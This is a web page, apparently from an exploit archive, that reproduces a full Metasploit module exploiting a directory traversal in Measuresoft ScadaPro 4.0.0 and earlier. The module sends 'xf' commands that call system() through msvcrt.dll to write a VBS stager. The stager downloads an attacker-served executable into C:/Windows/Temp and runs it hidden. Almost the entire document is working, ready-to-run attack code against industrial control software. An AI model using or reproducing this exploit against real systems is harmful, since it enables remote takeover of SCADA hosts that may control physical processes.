read, write, eXecute…

Measuresoft ScadaPro ⇐ 4.0.0 remote command execution vulnerability download
##
# $Id: scadapro_cmdexe.rb 13967 2011-10-17 03:49:49Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        Rank = ExcellentRanking

        include Msf::Exploit::Remote::HttpServer::HTML
        include Msf::Exploit::Remote::Tcp
        include Msf::Exploit::EXE

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Measuresoft ScadaPro <= 4.0.0 Remote Command Execution',
                        'Description'    => %q{
                                        This module allows remote attackers to execute arbitray commands on
                                the affected system by abusing via Directory Traversal attack when using the 'xf'
                                command (execute function). An attacker can execute system() from msvcrt.dll to
                                upload a backdoor and gain remote code execution.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         =>
                                [
                                        'Luigi Auriemma',                           # Initial discovery/poc
                                        'mr_me <steventhomasseeley[at]gmail.com>',  # msf
                                        'TecR0c <tecr0c[at]tecninja.net>',          # msf
                                ],
                        'Version'        => '$Revision: 13967 $',
                        'References'     =>
                                [
                                        #[ 'CVE', '?'],
                                        [ 'OSVDB', '75490'],
                                        [ 'BID', '49613'],
                                        [ 'URL', 'http://aluigi.altervista.org/adv/scadapro_1-adv.txt'],
                                        [ 'URL', 'http://us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-04.pdf'],
                                        # seemed pretty accurate to us ;)
                                        [ 'URL', 'http://www.measuresoft.net/news/post/Inaccurate-Reports-of-Measuresoft-ScadaPro-400-Vulnerability.aspx'],
                                ],
                        'DefaultOptions' =>
                                {
                                        'InitialAutoRunScript' => 'migrate -f',
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        # truly universal
                                        [ 'Automatic', { } ],
                                ],
                        'DefaultTarget'  => 0,
                        'DisclosureDate' => 'Sep 16 2011'))

                        register_options(
                        [
                                Opt::RPORT(11234),
                                OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
                        ], self.class)
        end

        # couldn't generate a vbs or exe payload and then use the wF command
        # as there is a limit to the amount of data to write to disk.
        # so we just write out a vbs script like the old days.

        def build_vbs(url, stager_name)
                name_xmlhttp = rand_text_alpha(2)
                name_adodb   = rand_text_alpha(2)

                tmp = "#{@temp_folder}/#{stager_name}"

                vbs  = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
                vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"
                vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
                vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
                vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
                vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
                vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"

                return vbs
        end

        def on_request_uri(cli, request)
                if request.uri =~ /\.exe/
                        print_status("Sending 2nd stage payload to #{cli.peerhost}:#{cli.peerport}...")
                        return if ((p=regenerate_payload(cli)) == nil)
                        data = generate_payload_exe( {:code=>p.encoded} )
                        send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
                        return
                end
        end

        def exploit
                # In order to save binary data to the file system the payload is written to a .vbs
                # file and execute it from there.
                @payload_name = rand_text_alpha(4)
                @temp_folder  = "C:/Windows/Temp"

                if datastore['SRVHOST'] == '0.0.0.0'
                        lhost = Rex::Socket.source_address('50.50.50.50')
                else
                        lhost = datastore['SRVHOST']
                end

                payload_src  = lhost
                payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe"

                stager_name = rand_text_alpha(6) + ".vbs"
                stager      = build_vbs(payload_src, stager_name)

                path = "..\\..\\..\\..\\..\\windows\\system32"

                createvbs = "xf%#{path}\\msvcrt.dll,system,cmd /c #{stager}\r\n"
                download_execute = "xf%#{path}\\msvcrt.dll,system,start #{@temp_folder}/#{stager_name}\r\n"

                print_status("Sending 1st stage payload...")

                connect
                sock.get_once()
                sock.put(createvbs)
                sock.get_once()
                sock.put(download_execute)
                handler()
                disconnect

                super
        end

end
example usage
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